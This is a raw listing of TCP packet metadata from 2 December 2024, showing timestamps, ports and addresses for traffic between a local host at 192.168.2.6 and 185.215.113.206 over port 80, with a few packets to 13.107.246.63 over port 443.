Dec 2, 2024 07:37:59.196727991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.196731091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.196814060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.197424889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.197503090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.197535038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.197587967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.198275089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.198354959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.198384047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.198450089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.199126005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.199177980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.199325085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.199385881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.199968100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.200076103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.200191975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.200804949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.200872898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.200903893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.200961113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.201695919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.201739073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.201759100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.201786995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.202517033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.202660084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.202761889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.203365088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.203430891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.203434944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.203490973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.204205990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.204328060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.204340935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.204391003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.205101967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.205126047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.205162048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.205183029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.283886909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.283977032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.284013987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.284056902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.284384966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.284451962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.284481049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.284574032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.285125017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.285222054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.285233021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.285286903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.286017895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.286077023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.286089897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.286148071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.286812067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.286928892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.286999941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.287087917 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.287631989 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.287647009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.287651062 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.287700891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.287755966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.287807941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.288225889 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.288230896 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.288516045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.288587093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.288605928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.288647890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.289350986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.289405107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.289482117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.289547920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.290172100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.290232897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.290302992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.290363073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.290990114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.291043997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.291117907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.291856050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.291915894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.291950941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.292031050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.292689085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.292778015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.292813063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.292906046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.293512106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.293571949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.293628931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.293694019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.294351101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.294420958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.294450998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.294519901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.295286894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.295372009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.295444012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.296063900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.296112061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.296149969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.296200037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.296869040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.296924114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.297003031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.297076941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.297703981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.297766924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.297800064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.297883034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.298538923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.298650980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.298701048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.299365997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.299415112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.299479961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.299537897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.300210953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.300313950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.300348997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.300360918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.301059008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.301146984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.301197052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.301904917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.301974058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.301983118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.302061081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.302707911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.306545019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.382083893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.382154942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.382230997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.382333994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.382392883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.382420063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.382462978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.383176088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.383399010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.383479118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.384010077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.384080887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.384114027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.384160995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.384879112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.384942055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.385020971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.385116100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.385699034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.385761976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.385796070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.385849953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.386518955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.386640072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.386687994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.387418985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.387473106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.387676954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.387727976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.388204098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.388263941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.388303995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.388354063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.389086008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.389132977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.389219046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.389275074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.389872074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.389940977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.390010118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.390083075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.390726089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.390818119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.390849113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.390882015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.391568899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.391618967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.391653061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.391702890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.392384052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.392441988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.392450094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.392499924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.393233061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.393301964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.393316031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.393384933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.394053936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.394108057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.394186020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.394237995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.394906044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.394983053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.395122051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.395179033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.395739079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.395823002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.395833015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.395879984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.396555901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.396625996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.396658897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.396698952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.397419930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.397464991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.397530079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.397588968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.398262024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.398403883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.398412943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.398463964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.399104118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.399166107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.399198055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.399250031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.399935007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.400011063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.400089025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.400145054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.400757074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.400813103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.400891066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.400979042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.401617050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.401670933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.401727915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.401788950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.402508020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.402518988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.402581930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.402581930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.403342962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.403438091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.403444052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.403472900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.404129982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.404186964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.404190063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.404241085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.405052900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.405108929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.405129910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.405153990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.405996084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.406071901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.406096935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.406152964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.406868935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.406933069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.415096045 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.415704966 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.415721893 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.416203022 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.416209936 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.485502005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.485632896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.485657930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.485723019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.485819101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.485874891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.485938072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.485970020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.486524105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.486572981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.486645937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.486706972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.487364054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.487427950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.487503052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.487550020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.488194942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.488246918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.488246918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.488295078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.489027977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.489083052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.489113092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.489166021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.489849091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.489901066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.489934921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.489980936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.490672112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.490740061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.490773916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.490844011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.491506100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.491576910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.491617918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.491688013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.492353916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.492424011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.492430925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.492487907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.493158102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.493206978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.493243933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.493320942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.493990898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.494096041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.494107008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.494159937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.494837999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.494862080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.494893074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.494909048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.495676994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.495729923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.495759964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.495807886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.496480942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.496556997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.496592045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.496663094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.497313976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.497407913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.497425079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.497488976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.498169899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.498219967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.498239994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.498323917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.498995066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.499053955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.499066114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.499106884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.499828100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.499888897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.499903917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.499943972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.500638008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.500696898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.500756979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.500806093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.501630068 CET	80	49823	185.215.113.206	192.168.2.6
